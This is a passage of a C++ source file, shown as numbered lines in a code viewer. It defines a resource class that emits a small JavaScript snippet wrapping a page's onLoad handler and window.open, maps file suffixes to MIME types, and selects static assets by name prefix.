|---|
| 507 | return ret.str(); |
|---|
| 508 | } |
|---|
| 509 | /* }}} */ |
|---|
| 510 | /* {{{ DivertOnload() */ |
|---|
| 511 | static std::string DivertOnload() |
|---|
| 512 | { |
|---|
| 513 | std::stringstream ret(""); |
|---|
| 514 | |
|---|
| 515 | ret << |
|---|
| 516 | |
|---|
| 517 | "<script type=\"text/javascript\">\r\n" |
|---|
| 518 | "<!--\r\n" |
|---|
| 519 | " var SymRealOnLoad;\r\n" |
|---|
| 520 | " var SymRealOnUnload;\r\n" |
|---|
| 521 | " var SymRealWinOpen;\r\n" |
|---|
| 522 | |
|---|
| 523 | " function SymOnUnload() {\r\n" |
|---|
| 524 | " window.open = SymWinOpen;\r\n" |
|---|
| 525 | " if(SymRealOnUnload != null)\r\n" |
|---|
| 526 | " SymRealOnUnload();\r\n" |
|---|
| 527 | " }\r\n" |
|---|
| 528 | |
|---|
| 529 | " function SymOnLoad() {\r\n" |
|---|
| 530 | " if(SymRealOnLoad != null)\r\n" |
|---|
| 531 | " SymRealOnLoad();\r\n" |
|---|
| 532 | " window.open = SymRealWinOpen;\r\n" |
|---|
| 533 | " SymRealOnUnload = window.onUnload;\r\n" |
|---|
| 534 | " window.onUnload = SymOnUnload;\r\n" |
|---|
| 535 | " }\r\n" |
|---|
| 536 | |
|---|
| 537 | " SymRealOnLoad = window.onLoad;\r\n" |
|---|
| 538 | " window.onLoad = SymOnLoad;\r\n" |
|---|
| 539 | "// -->\r\n" |
|---|
| 540 | "</script>\r\n"; |
|---|
| 541 | |
|---|
| 542 | return ret.str(); |
|---|
| 543 | } |
|---|
| 544 | /* }}} */ |
|---|
| 545 | /* }}} */ |
|---|
| 546 | static char const *MimeType(char const *resource) |
|---|
| 547 | { |
|---|
| 548 | static char const *assoc[] = |
|---|
| 549 | { |
|---|
| 550 | ".png", "image/png", |
|---|
| 551 | ".jpg", "image/jpeg", |
|---|
| 552 | ".jpeg", "image/jpeg", |
|---|
| 553 | ".gif", "image/gif", |
|---|
| 554 | ".wav", "audio/x-wav", |
|---|
| 555 | ".mp3", "audio/mpeg", |
|---|
| 556 | ".swf", "application/x-shockwave-flash", |
|---|
| 557 | ".pdf", "application/pdf", |
|---|
| 558 | ".wmv", "video/x-ms-wmv", |
|---|
| 559 | ".class", "application/java-vm", |
|---|
| 560 | ".ico", "image/x-icon", |
|---|
| 561 | ".txt", "text/plain", /* Redundant? */ |
|---|
| 562 | ".bmp", "image/bmp", |
|---|
| 563 | }; |
|---|
| 564 | |
|---|
| 565 | for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2) |
|---|
| 566 | { |
|---|
| 567 | char const *suffix = assoc[i], *test; |
|---|
| 568 | if ((test = strstr(resource, suffix)) && !test[strlen(suffix)]) |
|---|
| 569 | return assoc[i + 1]; |
|---|
| 570 | } |
|---|
| 571 | |
|---|
| 572 | return "text/plain"; |
|---|
| 573 | } |
|---|
| 574 | /* {{{ Assets */ |
|---|
| 575 | /* Pick a random asset starting with @prefix. For instance if @prefix |
|---|
| 576 | * is "/images/" we pick one at random and if it starts with "/images/" |
|---|
| 577 | * we return it. Otherwise, pick another one. Repeat 32 times. */ |
|---|
| 578 | static std::string RandomAsset(char const *prefix) |
|---|
| 579 | { |
|---|
| 580 | size_t prefixlen = strlen(prefix); |
|---|
| 581 | |
|---|
| 582 | for (int i = 0; i < 32; i++) |
|---|
| 583 | { |
|---|
| 584 | char const *name = staticnames[rand() % NSTATICS]; |
|---|
| 585 | if (!strncmp(name, prefix, prefixlen)) |
|---|
| 586 | return name; |
|---|
| 587 | } |
|---|
| 588 | |
|---|
| 589 | return "/"; |
|---|
| 590 | } |
|---|
| 591 | |
|---|
| 592 | /* Find the asset index after @previous that matches @prefix. This can |
|---|
| 593 | * be used as an iterator. To get the first matching asset, use -1 as |
|---|
| 594 | * an argument. */ |
|---|
| 595 | static int FindAssetIndex(char const *prefix, int previous) |
|---|
| 596 | { |
|---|
| 597 | if (previous < -1 || previous > (int)NSTATICS) |
|---|
| 598 | return NSTATICS; |
|---|
| 599 | |
|---|
| 600 | size_t prefixlen = strlen(prefix); |
|---|
| 601 | |
|---|
| 602 | while (++previous < (int)NSTATICS) |
|---|
| 603 | { |
|---|
| 604 | char const *name = staticnames[previous]; |
|---|
| 605 | if (!strncmp(name, prefix, prefixlen)) |
|---|
| 606 | break; |
|---|
| 607 | } |
|---|
| 608 | |
|---|
| 609 | return previous; |
|---|
| 610 | } |
|---|
| 611 | /* }}} */ |
|---|
| 612 | private: |
|---|
| 613 | static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); |
|---|
| 614 | static std::string m_statics[NSTATICS]; |
|---|
| 615 | }; |
|---|
| 616 | |
|---|
| 617 | std::string Resources::m_statics[NSTATICS]; |
|---|
| 618 | |
|---|
| 619 | /* |
|---|
| 620 | * vim:ts=8 sw=8 noexpandtab foldmethod=marker |
|---|
| 621 | */ |
|---|